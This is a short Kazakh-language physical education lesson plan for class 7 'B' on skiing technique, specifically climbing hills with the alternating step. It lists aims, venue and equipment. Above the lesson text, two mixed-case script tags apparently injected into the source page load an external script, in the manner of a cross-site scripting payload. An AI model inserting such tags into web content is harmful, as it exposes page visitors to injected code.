<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Дене

шынықтыру сабағы

Шаңғы

дайындығы

Сабақ жоспары:

7 «Б» сынып

Сабақтың тақырыбы: Көтерілу ауыспалы адыммен

Сабақтың мақсаты: 1. Ауыспалы адыммен биікке көтерілу әдістерімен тәсілдері

жайында түсінік беру.

2.

Ауыспалы адыммен көтерілу биікке, үйрету тәсілдерін көрсету.

3. Биіктікке

 көтерілу техникасы элементтері мен

қимылын баланың бойына қалыптастыру.

Сабақ өткізілетін орын: Шаңғы жолы, биік қыраттар мен дөнестер Қажетті құрал жабдықтар: Ысқырық, секундомер, сағат, шаңғы